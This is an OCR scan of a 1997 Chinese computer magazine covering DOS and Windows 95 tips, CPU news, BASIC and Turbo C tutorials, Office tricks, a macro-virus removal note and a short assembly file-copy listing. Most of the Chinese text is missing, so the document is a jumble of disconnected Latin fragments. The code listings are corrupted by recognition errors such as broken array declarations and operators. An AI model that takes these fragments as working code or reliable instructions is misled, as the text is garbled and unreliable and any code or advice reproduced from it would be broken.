Windows Word
DOS
Win3.x
Win95
OChA&R &%)
C
DOS WIN3.x Win95
X 86
DOS
Win3.x
DOS
32 Win95
Win95
* " (97
Windows )
Win95 Win95
Intel MMX
Win95/Win NT “ " (i
I RK)
D
1981 IBM Microsoft
DOS (Disk Operat-
ing System) 1.0 1995 6.22
15 M icrosoft
DOS 1995 DOS
Microsoft DOS
1985  Microsoft
DOS Windows1.0
pPC M acintosh 1989 5
Microsoft Win3.x
Windows1.0 Mi-
crosoft Windows Windows
.72

Windows
DOS DOS

Windows1.0
DOS DOS

Win3.x

Win95
DOS 32
Win95 32
DOS Win3.x
Win95 PC
DOS Win3.x Win95 Microsoft pPC
Microsoft
DOS Win3.x Win95
Microsoft
(ki %)

DOS

486 Fox-
PRO DOS 6.22
Windows
vVCD Pen-
Win95
PWin95

tium — 133
DOS6.xx
WORD
EXCEL MIS UCDOS TurboCAD
5X86-133 CPU 16M
PWin95 DOS
Win3.x
OFFICE95
6.0 Win3.x
M icrosoft
Win95 Win95
Win95
PWin95

M)

Win NT

D0S6.22+PWin3.2 (THk £A

©
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1997 1

1997
1997
2 28 1997 1
1 1997
1997
if
case
C
BASIC
days|[ |
str[ ] 1997 1 1 1 7
1 “ Wen” str[1]
1 1
7 str[ ]
Turbo C 2.0

#include <stdio.h >

main (void)

{int month,day,i; char q;

static int days[13] = {0,31,28,31,30,31,30,31,31,30,31,
30,31};

static char str[7]1[4] = {"Tue”,"Wen”, T hu”,"Fri","Sat”,
"Sun”,"Mon"} ;

loop:

Computer Fan 1997 4.

do{
printf (” input the date(month day):");
scanf ("%d %d", & month , &day) ;
}while (day > days[month]);
for(i=1;i<month;i+ +)
day + =dayslil;
printf (" The day is %s\n”,str[day%7]) ;
printf(”conlinue? (y/n)\n") ;
q=getch( );

if(qg=="y'1 I q=="Y") goto loop;

3
By
%
;’\k
A\‘(
;*
Ry
Ry
o
¥
B
;*
By
Ry
o
¥
)
;*
By
Ry
o
¥
)
A*
o

462500

e e e e

1997 4

3
e S S S S S S S S S S S S S S S SR S S

e

40
4
4 1 40
4 (#7528 R-FE)
1997 5 30
48 100081
4
1
2
2
4 1 4

2R
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486DX 2/66M
“ Tnvalid
drive specification” KV 200
!
KV300 F10
) KV 300/B
KV300/ HDPT .DAT
NORTON U-
TILITESS.0 RESCUE
NU8.0 RESCUE
Creat, Rescue Disk Contents
CMOS
ALT +C

Autoexec.bat Smartdrv .exe Mscdex .exe

Smartdrv .exe

Smartdrv .exe

Smartdrv .exe

* ——-

M scdex .exe

Smartdrv .exe

Smartdrv .exe
M scdex .exe Smartdrv .exe
Smartdrv .exe

M scdex .exe

P133 window s95
UPPER
WIN95
DOS 6.2
KV 300
CMOS SHADOW
SYSTEM VIDEO Enable
SHADOW DISABLE
UPPER HIMEM .SYS
EMM 386.EXE NOMES RAM DOS =

.74.

HIGH UMB

CYRIX 6X86/120+ RHINO 6
(256CACHE ) ,SONY 77E ( ),SEA-

GATE 1G 8M RAM ESS 868
S3365E MSDOS 6.22 WINDOWS3.2(
C JWINSS( D ), (XING1.3)
34 . 8fps, 29.7Mps WINDOWS3.2
WINO95
XING2.01
IDE
WINO9S WINO9S
800X 600X 256
WINO95
DCI DCI
P133CPU
P122 P133 Intel
P120 P133 P75 P90
( ),
Intel Pentium CPU
CPU
, CPU,
P133
, Intel
Pentium
P75 P90
CPU
Internet
KV 300
In-
ternet 7bit HZ Unicode
152022 8bit
Richwin for Internet
COPY /PASTE 8bit 7bit

http://richsight.com
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FREEHEKITIHDITE!
1993
©)
@)
©)
@
®
©
100081 48
/
E -Mail FAX (010)62184019

E —Mail cfan @netChina.co.cn

k=4 b
1996 12 6
25  —475000
1997 2 75 ,
“ 621760108" "62176018",

’

KTHFH ) MAEHIREA

1 Internet

Internetiquette ,

Computer Fan 1997 4.

W JE AR R F-E I
ELFTFP!

7 16-20

) ] ( ) O L]
, : ]
, : ]
"HotCfan"

Cfan
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AH - 64D 200
DOS Windows Win-
10000 dows95 WORD EXCEL Internet WPS
12 100
¥ 169
¥ 125
?
( DOS U nix
¥120 CCED WPS )
( FoxBase FoxPro
) Windows 95
?
Oh
¥ 128
¥ 130
— S BRI 2. PC
) 3.
' TOEFL GRE
50
4.
!
5.
¥78
¥ 48 ¥98
INTERNET
Internet
Internet
Internet
Internet
Internet
¥97 ¥78

.76.
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—— 1% 1997 F sk 32 B AP ——

(]
PC ( Klamath )
486 Klamath
PC MMX 16 L2
Intel CPU
AMD Cyrix
0.28 0.35
200 233
266 0.25
Intel MMX 300 333 P6 )
P7 Deschutes ( )
Klamath L2
Intel MPU ( ) 64 72
4 387
CPU Pentium Pro( 686)
Pentium (
586) MMX ‘ ( PC
P55C )" Pentium 8 450K X 440FX
3 94 450K X
Archer
15% 39 450K X 6
4
200 166 2000
3000
1998 x86(P7)
(200 233 ) M erced ( ) Intel 64 x 86
IA -
Intel 64 32 x 86
Merced Intel HP
MM X VLIW ( )
(L2) CPU x 86 Intel
6 VLIW
16
IA - 64
Intel 1985 Intel 386
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32 1993 32
16 Windows3.1
16/32 Window s95 11
32
64 Windows NT
Merced Merced 64
Summit 3D U nix 64
32 2009 1A -64
AMD K5
K6
AMD K5
AMD
K5
20—30% K5
75 920 100
2000 pPC
K5
x 86 L1
AMD 120 K5 100
12% K5
K5 AMD Cyrix
AMD Ko6
K6
NexGen L2
L2
AMD NexGen
MM X
L2
0.35 5 CMOS
0.25
AMD 3 K6 K6 180
75 AMD K6
32 16
Cyrix 6x86 M2
Cyrix 6x 86
.10.

6x 86 150
6x 86 200 Cyrix
6x 86 — P200 + 16
75 170
0.6
3 5
1996 0.5 Intel
0.35 Windows
NT4.0 MM X
Cyrix 6x 86
M2 M2 0.35 L1
64K B 180 200
225
M2
Klamath M2 MM X
Cyrix Intel
Cyrix  PC
75 170 x 861 /0
66 14% 170
170
Cyrix 800
pPC Gx 86
1995  Cyrix
Cyrix
Intranet Cyrix
Windows
CPU
1997
MM X
32 Klamath
Deschutes Windows3.1
Windows95 16 Kla-
math  Deschutes
16 Cyrix AMD
M2 K6 170
Cyrix 6x 86 — P200 +
MMX Intel CPU
@
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WINOS RIRI e o, Wb/ - 2REZ—FERA
(WR) AR GHBAY, EWREA E@HEH—&%F
—“All is mine” o F M iE, M2 5 T m A8 R, 7
A UiE 2. Microsoft L&A R, HIUNAAKKREE
WK, AR gmiE AR A 2752 B 4 Microsoft 424 7
K PC ) TAEF &, JUF PR 8 A& L4 Mi-
crosoft B93RAF & %%, LT R A %9k Microsoft 89,
XKEABETF., TR, ANEEZFE Microsoft 81k, T
RVEFXBRTEE,AHTHELZXE“All is mine”

BT, RAHE (BR) AR, le—A2E Mi
crosoft A8, 4T B mlXpa o 2 4H4F 4 1995 5F
R F R — IA R B, R EAR
H SR IR 89 M R DTV Java, TURA XALTR
T :Java W IAK L5 RGBS ES,

AR LI B e i /1 69 Java BIRZE 2 KR
R, X EA N 2R, C KRR RS LR
wRT 5 XAk

Java Internet
Internet 1969
Internet
FTP
E -mail Gopher Internet
1989 CERN
HTML HTTP
WWW (World Wide Web) M osaic
( ) WWW
Internet
WWWwW WWWwW Internet
Internet Internet
Java 1991 Sun Microsys-
tems
Java Oak Java
1994 WwWWwW
Sun WWW
Java
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Java

Sun Java

va Java HotJava
Java WWWwW
WWWwW
Java
WWW
WWWwW
Internet

1995 5 23 Sun
HotJava

Sun WWW

tor2.0 Java Java

WWW

Sun Netscape

Java
Java James Gosling
“ Java

“ Java Internet

“ Java

“ Java

Java

HotJa-
WWW

WWWwW

Java

Netscape

Netscape Naviga-

Sun

Java

Java

James Gosling

Java
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. DE3
% S R ALK TR WIN9S
3 18 40
WINO95
1996
3 19
4 1
Win95 Windows NT ,
Office
WINO95
AL B # de KA
3 18
I
Il
325 -
“14+17 “ 858" CPU P/ 166
(MMX), 33.6kbps
40
4 3 Acer Aspire
1500 15
30
“ ” Acer-
Note Nuovo 970
10 ’ !
4 8
15~20
. ,*Eﬁ 7.
PowerShot 600
570 000
J12.

AMD

PowerShot 600

MMX

AMD—K6 ™MMX

PowerShot 600 5

AMD
AMD—K6 ™

Microsoft Windows
AMD—K6 ™ |

n o

1997
10000

“ AST

WINO9S

AST

Intel P55C

LI

CSC

“ 1 10000

1000
“ CSC

AST
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BAS

9.1F THEN ELSE

IF A>B THEN PRINT A ELSE GOSUB 1000
A>B A 1000

IF A>B THEN SWAP A.,B

A>B A B SWAP
ELSE A,B
IF A> =B THEN 100 ELSE 300
A> =B 100 300
THEN 100 GOTO
THEN GOTO,

IF A> =B GOTO 100 ELSE 300
BASIC

IF—THEN GOTO

IF—THEN
IF

10.CLEAR
CLEAR

CLS CLEAR SCREEN

CLEAR
C> CLS
CLS
11.END
12.RUN
RUN

13.LIST LIST

Computer Fan 1997 .5.

LIST
14.INT INT INTEGER
PRINT INT (12.87)
12.87
12 INT
BASIC
BASIC LOG
ABS ABS(X) X
X SQR(X)
X SIN (X) X sin
(x) TAN(X) tan(x)

INT

PRINT“ R =" INT (R * 1000 + 0.5) /1000

R PRINT* R="
“R=" R R 1
1000 1000 0.5
INT 0.5
1000
R
0.9876854912
R =0.9877
15.DIM dimension
15
15
N ABCDEF 15
SHENGAO
SHENGAO (14) 15
SHENGAO
0 10 11 11
DIM

DIM SHENGAO (14)
SHENGAO 0 14 15

DIM
DIM SHENGAO(N) N
INPUT LET
DIM

DIM A (18),B(25),H(90)
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12 G(185,12)

G(2,1) G(2,2) G(2,3) G(2,11) G(2,12)

G (185, 1) G(185, 2) G(185, 3) G (185,
11) G(185,12)
G(2,3) 3
DIM
DIM G (185,12)
DIM
DIM G(1,J))
I
J
16.FOR TO STEP NEXT
FORI=1TO 20STEP 2
I 1 20
2 1 1 303 5 5
7 19 10 STEP
1 1 1 2 2 3003
4 20 NEXT NEXT
FOR STEP
I0FORI=1TO 20
20 PRINT 1
30 NEXT
10 I 1
20 I 1
30 30 - ”
10 I 2 PRINT
1 I I 2 2
30 30 “ ”
10
20 20 1 123
20 NEXT ,
NEXT I
I FOR

.14.

FOR I/NEXT 1
FOR J/NEXT ]
NEXT I

3 5
235 148 213 222 194
132 988 712 42 09
216 165 93 222 211
I, Il
G

I0FORI=1TO 3
20FORJ=1TO 5
30 PRINT G(1,))

40 NEXT J
50 NEXT I
FOR J/NEXT J,
FOR I/NEXT I 10
I=1 20 J
1
30 235
40 NEXT J 1)
20 20 J=2 30
148 40 20
] 3 213 J=5
194 50
I 10
I=2
J 5 50
10
5x3=15
blog (t) b * log
(t) 6.0496log (1) 6.0496 % log (t)
BASIC
XY X %Y
(%)
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DOS « w w
" DOS
“ ” “ ” (PIPE) DOS
DIR MORE DIR
MORE
D.TXT TYPE D.TXT
SORT MORE TYPE SORT
SORT MORE
DIR  SORT >SORT .TXT
SORT .TXT TYPE SORT .TXT FIND
“ DBF” >DBF SORT .TXT DBF
DBF ©
PCTOOLS F3 L
DOS Y
2. MS-DOS 5.0
DIR /s
] FOREST ©
PCTOOLS DEBUG
WINDOWS & ®
DOS ﬁ 5 i
ATTRIB
PAL
]
ATTRIB +H PAL. ( )
ATTRIB
DOS DOS
bos MKDIR( MD)
NDOS ©
MKDIR( MD)
15085 1% SHar RO lo R C
IR E 1L M —- &
DOS
N XCOPY
A XSCJ.DBF
\USER\DATA\BAK (
DIR )
XCOPY A XSCJ.DBF \USER\DATA\BAK \
1. PCTOOLS DEL \USER\DATA\BAK ©
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PO NN VNV N VNN N N N N NN NN

[]
C \IMOVE \TXT\*.% D \WORD
MS -DOS 6.0 C TXT D
COPY WORD
4.
MS -DOS 6.0 —MOVE C \MOVE \TXT \TXT1
\TXT \TXT 1
1. 5.
C \MOVE \TXT\ D \WORD C \IMOVE \TXT\ 1 D \WORD\ 2
C TXT D C TXT 1 D
WORD WORD 2
2. 6.
C \LD TXT C \IMOVE D \TXT\* .% E \TXT
C \TXT MOVE 1 2 ...D \WORD D TXT E
C TXT 1 2 MOVE E TXT
D WORD
3. @
(
; ﬁ A 1) PATH
5 DOS ? C \DOS

[
DOS(5.0 ) DOS

1. DOS

C \DOS\TYPE DOSHELP .HLP >PRN
2. TXT

C \MD TXT

C \CD TXT
3. DOS /?

DOS DOS

.16.

C \TXT >APPEND/?>AP.T
C \TXT >DOSKEY/?>DO.T

4. T DOSCMD .TXT

C \TXT COPY *.T DOSCMD.TXT
5. T

C \TXT DEL *.T
6. WPS WORD DOSCMD .TXT

AEE IH—KRBH SRTF R FAR
BRI ARG, R ik R AR R AR
Fik,BPCD... EBHA,CD.... B, e
1235 T 2952 DOST.0 B, 7 kiR 3 42
120 DOS6.X BRI AR E R 4T,
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EREENX A Re

.EXE

MS -DOS
( MS -DOS )

(.) MYSELF .EXE
1. 8 ( DO0S6.22
, WIN95 DOS7.0
2.
3. CLOCK $
AUX COM1 LPT1 NUL PRN
4.
1.
.COM  .EXE
2.
.SYS
3.
MS -DOS
.BAT
4,
ASCIT
TXT
5.
.ARC PKARC
.DDI  DISKDUPE
JACE .1ZH LHA
.ZIP  PKZIP PKUNZIP
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CON

.ASC

.ARJ ARJ ARJ
AMG
.ASM
.BAS BASIC
.PAS PASCAL
.C C
.H C include
.CPP C*"
.HPP c*r
.LIB (Library)
.0OBJ (Object)
.BGI  (Borland Graphics Interface) Borland
.BIN (Binary)DOS
.DAT  (Data File)
.BAK (Backup)
.CHK chkdsk .exe
.DRV  (Drive)
.DBF  dBase Foxbase
.FXP Foxpro .PRG
.BMP  (Bitmap) MS - Windows
.GIF  (Graphics Interchange Format) BBS
Internet
JPG JPEG
.FLI ~ Auto Desk
.AVI  (Audio Video Interface)
( .MPG .MOV)
JCN (ICO  Windows (Icon)
( .TGA .RLE .TIF

.PCX .LBM .WMF .IFF .PBM .PGM .PNG)

.CMF (Creative Music File)Creative
NS  Creative
WAV  Windows (Wave)
.MID (Midi)
.DLL  (Dynamic Linked Library)Windows
.PIF Windows DOS
(Program Information File)
NI (Initial) Window s
.HLP  Windows
.FNT  (Font)Windows
.FRM Visual Basic Form
.WRI  Windows
.DOC  (Document)Windows Word
(MS - Office Excel
XLS Access .MBD )
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&

54
(
\) ~
,%%/L’L }% é/,’] /J\ 4‘2 'I/n ASCII
3 N ) F1  F10 50 68
72 80 75
77
L]
72 80 75 77 !
?
ASCII ( )
( ) ASCII ASCII
? ASCII
ASCII
( ) ( F1-F10 ) ( Ctrl+
F1 Alt+H ) ASCII
0
ESC 1(
) +/ Turbo C
= 13 Backspace 14 getch () ASCII
Tab 15 Q 16 ( ASCII
1/} 27 28 A ) ASCII
30 ( )
40 ~' 41 shift 42
43 7 44 shift IBM PC ©
WINDOWS3.X - yﬁ] » '{’a
: '8
?
WINDOWS SET- ]
up
WINDOWS SETUP.TXT
SETUP SETUP WINDOWS
“ ” “ / WINDOWS ”
WINDOWS
PIF
CTRL ©
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WORDG. 0 BYihi%15

L] L]
1. (1) 6. Word6.0
(2) " (1)"
(0)” Microsoft Wordart 2.0 (3) (1)
Ctrl +F3 (2)
(4) (T)" (E) Ctrl +F3
( ) (3)
(5) (T)” (H)
(8)” (6) Ctrl + Shift + F3
7.
Word
(1) (2)
2. Word (3) "
(1) (4)
Symbol
(2)
3. Word6.0 (5)
8. Word
C \winword
(1) *
' (2) Word
(3) ”
@) - .
C \gjw “
4 ) 2)
Word6.0
(1)(2) ' C C
(3) gjw” “C \gjw”
9. “
(4) ! "
123
5.
., (1) ( ) 10. Word
o] (2) ( Word
(" (3) * (0K)” ) «
Computer Fan 1997 .5. .19.
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“ DOS”

“ PWIN 3.2"

“ PWIN 95"

“ DOS 7.0

“ PWIN 3.2" ‘D"

“ DOS !

“ PWIN 95" ¢
“ PWIN 95"“ PWIN 3.2"

“ PWIN 95" “ PWIN 3.2"
“ DOS 6.22"
“ PWIN 95"

“ PWIN 95", »
" “ e “ PWIN 3.2"

* [R]" ‘

“ D \PWIN 32\ WIN.COM” *
“ D \PWIN32 -
“ [v] “
“ MS-DOS [M]”
“ MS -DOS (ul”

[w1”

“ “ PWIN 95"

[s]” =« " « " “ PWIN 3.2" © " “ PWIN 3.2
u ” “ “ PWIN 3.2" “ PWIN 95"

” « pr ©

“ ” “ ” ) “

” +
( .bmp )
11. Word

.20.

UERES 1—7 8—12
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EXCEL5.0 @1 T H a5 0 A

O
EXCEL5.0
OLE VBA Visual
Basic for Application
EX-
CELS5.0
1
B3 B5 B7
“ =bl+b2"" =b3-b4" * =b5/(12%h6)”
« " CwoE w0
A I=ns==|
1 HEREErE £.000
2 | SRS 1.200
3 | &= $.200
4 |84+ 1.000
S 5= £.200
6 | =1 3
7 | Hm¥At 228
A1
Jossi M ==
1 |irERE T &1
2 |FH85/100 BM 1.28G 1443 280EF 7800
3 |FHE5133 160 1.28G 1 4440 285 % 8700
4 |FHE5166 160 172G 1 4440 285 % 10500
5 |Cyrmez86/133+16M 1.28G 1448 28F% 8200
16 |Cyrm5xB6/150+16M 1.28G 1.44%% 2883 8800
U7 |Cymx6xB6/166+16M 1.64G 14435 28R 9600
_8 |Cyrm6xBE/200+16M 218G 1.443% 255%: 11800
9 |AMD X5100 16M 128G 1 4450 28 % 8870
)
2
M1 Ctrl + *
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3 p "
| P | o
1 [ZEREEER g2
2 |& | @
3 |6 E R 00WE R+ E 16U E F+REFR | 720
4 |eEENIE200WE I+ B 6 B E SR 1500
5

1085 E IR +200W S F5-+E 162 -+E/E B4 MODEMF | 2100
A 3

[aab]) 0] [(F]© ) B[
B[ #]

A 4
“ " “og 5
El 11

| < e ; ) [ 4
L [Zpesn00 8M1.28G 1.44%5; 2855 1
% SEHE ST 00WE R B SR A R R s
TE 900

B _
FiEH =y
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&

WORD

LOBRNANRE -

L] ] ;

CRTL +H

“ ? CTRL +V 2

CTRL + SHIFT +F3 “ "

“* ” @
N
1 2 “ =index ( 1 J1)"* =index( 2 J2)" J4
“ 6
I 12 C,D,J,M ,N,P.Q
8 4 “ ” “ ” “ H)
6
3 4
3 4
v 900 ~ 3000 300 *
900 1 " 1~3
3000 3
300 1
J4 J6
Bl B2 B4 B6 EXCEL
] e i) 5 3 o [ e - T [
%gﬁ?ﬁgg?% ?ggg 5/100 8M 1.28G 1.44%] .28/ T3]
= 6 FEUE +100WE 16
5 aien & 590 | SEEIES FE+BSEF R E R[]
4 (BN 3,000 ===
5 |#FEE 5,520
6 |[ZRE 3
7 |EHAE 153E
B6 »HHHNE RSN A% @&

.22,
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$>33IIIIIIIIFIIFIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIY
N

BToolBook BitEFEE

-
€ €€ €€ €€ CCCCCCCCCCCCCCCCCCCCCCECCCCCCCCCCCCCCCCCCCCCCCCCCCCCCcCcCccc<<®

IIIIIIIIIIIIDDY

>

Toolbook “ "
T oolBook Asymetrix
Winds [ e —
penScript OpenScript ~ Tool-
C ) ( ) C ) C

Book Ba-

sic C ) C ) (C D C
Toolbook C N ( ) C D) C

U

B
2.
T oolBook
Toolbook  OpenScript
Object Field properties
T oolbook Border style Scoll bar OK
Toolbook “ " Basic 11
11
( )
3.
T oolbook
Text Create hot-
word
T oolbook
s 4.
Basic Basic
Object Link with
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File Open Link with
OK
Toolbook
Objcet  Button properties
5.
(1)
)
( 2
Eol-l I (D)
A2
@ ToolBook
©) : ( )
Hotword properties Hotword
ID

@

.24.

(2)
( 3
C O]
3
6.
1D
Hotword ID Hot-
word ID “ "
Hotword ID
7.
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BT AR &9 N 5 R

[
”
?
RAM
RAM
RAM
RAM
(
)
RAM
RAM RAM
RAM ?
RAM
RAM
MS - DOS —RAM-
DRIVE .SYS
RAM RAM
RAMDRIVE.SYS
CONFIG.SYS DEVICE
RAMDRIVE .SYS( DEVICEHIGH
RAMDRIVE .SYS
UMB 1K

)
DEVICEHIGH =C:\ DOS\ RAMDRIVE.SYS
[SIZE[SECTOR[ENTRIES]III/E /Al
SIZE RAM
4~ 32767 4KB  32MB
(RAM )
64

RAM
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SECTOR RAM
128 256 512 512
SECTOR SIZE
ENTRIES RAMDRIVE.SYS RAM
2~
1024 64 ENTRIES
SIZE SECTOR
/JE /A (
) RAMDRIVE .SYS
RAM RAM
512KB  RAM

DEVICEHIGH =C:\DOS\RAMDRIVE .SYS 512/E

RAM
MS—DOS
A B C
MS—DOS RAM
? MS—DOS RAM
A B C
D RAM E M
RAM N
RAM
(
)
RAM RAM
RAM
CONFIG .SYS

DEVICEHIGH =C:\DOS\RAMDRIVE.SYS 2048/E
AUTOEXEC .BAT

RAM

AUTOEXEC .BAT

RAM
!

RAM
PATH
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“ » 1986

Pakistan s

]
YY) . .
-‘ &
(") 4 & 1.
-£ 2. ( COMMAND.COM )
= -
g 4. (A B) “ Format complete”
‘ 5 “ ” ( ) ( )
- 6.
7.
l: I\
Q SCAN AV95 KV300 KILL
AV 95 VLIST ( ) 7233
319
©
586/ 133 16MB 1.2GB D0S6.22  WIN-
DOWS3.1 WORD6.0 %
WORD
“ Save As” “ ¢ \ MSOFFICE\ %’
WINWORD\TEMPLATE” “ % .DOT" 2.
“ DOEUN &
PAD94 V2.21(C) 1996 Bandung. Indonesia” @
Word (Concept ) >
(1) Word “ " (Tools) “ " (Macro)
(2) “ AAAZAO" “ AAAZFS” (3) @
Word D

KV300 KILL
Word

SCANPROT .DOT
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WPS

11 }J\ 2 ” Y R

D FDISK D
“ N C
e BASIC
AST T urbo Pascal
c AST 486 ) )
KOEI
Setup, Install, Config ) . CD -ROM
F1
F12 F3
486 Internet
« H JAVA,HTML “ M “
“ » AST « »

DOS AL FiEBAST KFA YR E B KFLF(RFL)
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Y

~
A
ell

= ElC =]

0

;- ..

com-
dir/ ah Drvs-

pace.bin lo.sys Msdos.sys

mand.com

PCI54ITS CMOS
CPU P5-120 SM B
QUANTUM 850M B
Goldstar
CMOS
“ CDROM ,A,C” C

Boot from ATAPI CD -ROM :
1.FD 1.44MB system type — (00)
Starting MSDOS. ..
D0OS6.22 5
2 IDE/E -IDE CD -ROM

( 5 NONE
) (
)
IDE GoldstarCD - ROM
(
A R
)DOS AN A

AT

DM

DOS

IDE

SCSI

COMMAND .COM

AUTOEXEC .BAT

CONFIG .SYS

8file(s) 56,696 bytes
11,264 bytes free

B B C D( )
A

MSD TSR SMARTDRV

Computer Fan 1997 .5.

A
(SUBST) D (

) A A
D A C

COMMAND .COM
)

A A
D )
A D dir/ah
DM
A
TSR
TSR
DOS
DOS @
IBM 2l Aptiva Bilk
IBM Aptiva
IBM
100081 48
“ IBM”
.29,



“

32
H
0 00H
0~7 0 ES5H
0 2EH
8§~10
20H
01H
11 02H
04H
08H
10H
12~21
22~125 22~23 24~125
26~27 26 27
28 ~ 31
1. ( 0~10 )
(1) “ anu L»
LL!!

1997

CDR

010 64222599,64222583,64061162
010 64222580
6 301

100013

.30.

’ §
o HHIERE RS
’ §
. SSHEERDhE
’ §
{ @
z |
! H §
(2)
(3) “ FFH"
dir
“ FFH"
ALT “ 255"
(4) “ 20H" dir
CDh
(3)
(5) “ 2EH”
“ 20H” dir pctools
2. (1 )
(1) 11 “ 20H"
(28 ~31) ( ) dir
(2) 11 “ 02H”
(28 ~31)
dir
(3) 11 “ 08H"
dir
3. ( 26~27 )
26 27 “ 00H” “ OOH”
dir
Pctools Norton De-
bug Pctools 5.0
Pctools 5.0 F3
E F2
R PgUp PgDn F3
F5 U Pe-
tools
©
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TE WINOS =

[]
WIN 95
WIN 95
WIN 95
WIN 95
WIN 95
CDROM
FAX/MODEM  WIN 95
MSDOS
WIN 95 ( )
WIN 95
WIN 95 DOS
CDROM CDROM (
) WIN 95 WIN95
DOS DOS
DOS
( COMPAQ7222)
( )
WIN
95 (
?  WIN
95 “ no ”
“ ” CDROM
CONFIG .SYS

AUTOEXEC .BAT

DOS

D \WINDOWS\COMMAND\MSCDEX .EXE/

Computer Fan 1997 .5.

D : XXXXXXX/M :12

“/D " “OXXXXXXX”
CONFIG.SYS “ /D" CON-
FIG .SYS

DEVICE =C \ MTM\ MTMCDAI.SYS/ D
MTMIDEO1

AUTOEXEC.BAT
D \WINDOWS\COMMAND\MSCDEX .EXE/
D MTMIDEO1/M 12
CONFIG.SYS CDROM

DOS

WIN 95
WIN 95

WIN 95

70M B ( )

C WIN 95

20M B
4.6MB

WIN 95 )
120M B

DOS
WIN 95

C 20M B
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A

6X 86
6X86P150 + CPU 5128
S3TRI064V + 16MB EDO 100

8 1.7GB

1 DOS WINDOWS 3.2
WINDOWS 95

WINDOWS 95

IGS 1682 - A

& F| 4 &N AL

CPU PENTIUM 120

WIN 95
WIN 95 WORD
CSTAR (
)
1.
WIN 95
FONTS SYSTEM
DOS DEL *.%
(WAV)
DOS 7.0 ( )
WIN 95 WIN
95 (HIMEM .SYS
MSCDEX .EXE EMM 386.EXE )
“ DEL” DOS
{ DEL”
)
2.
DOS
WIN 95 CSTAR WORD
WIN 95
DOS

.32,

©
CDROM HIMEM .SYS
SMARTDRV .EXE ( )
CDROM WIN 95
“ SETUP”
WIN 95
DOS WINDOWS
DOS C
MSDOS.SYS( ) OPTIONS
[Options]
Logo=0
BootGUI =0
BootDelay =0
BootMulti=0
DoubleBuffer = 1
Network =1
* Logo = 0"
“ BootGui=0" WIN 95 DOS
WIN 95 ( )
WIN 95
LOGOW .SYS
DOS  WIN 95
DOS 7.0
WIN 95 WINDOWS 3.X ©
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WIN 95
DOS 6.X WINDOWS 3.X
WIN 95 (

DOS WINDOWS 3.X

WIN 95
3.X
WIN 95

DOS 6. X WINDOWS

IBMPC
WIN95
4.2 +
6.22
DOS (
UCDOS 5.0)

'Y
A
A
[

MSDOS

FASS IS S S50

WIN 95 DOS
WIN 95

DOS 6.X

1. WIN 95
6.22

C \WINDOWSNATTRIB -R =S -H A \
MSDOS.SYS

C \WINDOWS\ATTRIB -R -S -H A \
10 .SYS

C \COPY A \MSDOS.SYS MSDOS.DOS

C \COPY A \IO.SYSI10.DOS

C \COPY A \COMMAND.COM COM -
MAND.DOS

C \ATTRIB +R +S +H 10.DOS

C \ATTRIB +R +S +H MSDOS.DOS
2. WIN 95 MSDOS.SYS
C
C

DOS 7 MSDOS

\ATTRIB -S -R -H MSDOS.SYS
\EDIT MSDOS.SYS
WIN 95 MSDOS.SYS
1024
[Options]
BootMulti =0

BootMulti =1
F4 DOS 6.22
WIN 95
BootMenu =1
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WIN 95 V& D0S 6,12 --

P3IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIID

O

>3>33>33>>>3>7"

>

C \ATTRIB +S +R +H MSDOS.SYS
3. DOS DOS 6.22
HIMEM .SYS EMM386.EXE DOSKEY .COM

WIN 95 ED-
IT .COM MSCDEX .EXE DELTREE .EXE
XCOPY .EXE
DOS 6.22

DOS 6.22 CONFIG.DOS
AUTOEXEC.DOS START-
ING WIN 95 ( ) WIN 95

8.Previous Version of MS -=DOS
8 MS -DOS 6.22
WIN 95 M S-
DOS.SYS ( WINDOWS
INI )

DOS 6.22 WIN

95 SYS SYS
MS -DOS WIN 95  Start up
MS -DOS 6.22
IBM PC (P166 WIN 95+

PLUS MS -DOS 6.22)
©
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) Y i -
5 SN

(]
On
— BJC -210S 2.
172 2/3
BJC210.BAT Smoothing or Reduction
1/2  2/3 Reduction “ "
DOS Windows 3.X  Win- Smoothing On F10
dows 95 Win95 3. UCbOS WPS LQ
Automatic BJC210.BAT
Printer Control Mode LQ  Automatic Mode
( Automatie Mode ) F10
UcC- 4. Win3.X
DOS 5.0 “ ¥ ( BJC210
Win 3.1 Win 3.2 Win3.X Win3.X )
“ Win 95 Win
" ! 24M B 95
32M ? 1700
A4
Photoshop
Photoshop  Image Size
Photoshop
1. A4
Win3.X
“ " Smoothing 256 ©
—
Canon JTEDAMNEA&XIT M
L]
1.LQ 2.
UCDOS 5.0 6.0 BJ -
200EX LQ 360x 360 BJ48.PDV
15~ 20 DOS WPS ( EPSON )
“ " 3 LQ CCED 5.0 (
CCEDUC ) " BJl0ex "
©
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peceececeeex
Y )
i ﬁ t COp}: ?
Y )
N = 4
e ] |
=8
Y )
¥ ﬁ A insb,
Yo A
B C
M BG A play ,
Y A
y oAk 4 ,
e ]
N AF A
¥ s A
N - A
¥ A insh play
Y coPY tv ¢
Y A play C
Y A
Y ) |
play
y U A , play
N4 A
A > > > ¢
s play
:insb  play
link exe2bin exe
MS-DOS V2.0
PC/XT
2 (1) insh.com  play.com
B s insb
(play .com C ) (2)
C play .com , “ How are you
?” , play .com insbh.com
) s play .com
copy
% % % insb.asm % % %
code segment

assume cs:code,ds:code
org 100h

begin: mov dx,offset {2
mov al,2

Computer Fan 1997 .5.

file

f1

2

3

f4
movel

code

mov ah,3dh

int 21h ; B
push ax ;
mov bx ,ax

mov cx ,0fffOh

mov dx ,offset file
mov ah,3fh

int 21h ;
pop bx

push ax ;
mov ah,3eh

int 21h ;
mov dx ,offset f1
mov cx ,20h

mov ah,3ch

int 21h ;0 C
push ax ;
mov dx ,offset file
pop bx

pop cx

push bx

mov ah,40h

int 21h ;B
pop bx

mov ah,3eh

int 21h ;
mov dx ,offset £3
mov ah, lah

int 21h ;
mov dx ,offset f4
mov ah,11h

int 21h ;

DATA

mov dx ,offset f1
mov ax ,3d02h
int 21h ; s
push ax H
mov bx ,ax
mov ax ,4200h
mov cx,0
mov dx,word ptr movel
int 21h ;
pd

pop bx

mov ah ,40h

mov dx ,offset f3 + 1bh
mov cx,2

int 21h ;

mov ah,3eh

int 21h ;
mov ax ,4c00h

int 21h ;
db 8000h dup(?)
db "c:play.com”,0
db "b:\play.com”,0
db 40h dup (?)
com”,21 dup(?)

DOS

db 3,"play
dw 0064h
ends

end begin

play .com
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X

Canon 4200 D’ﬁ
AN
18cm x 25¢m
g}tr\ 20 ~ 30
PHOTO
j:j CanonBJI - 201
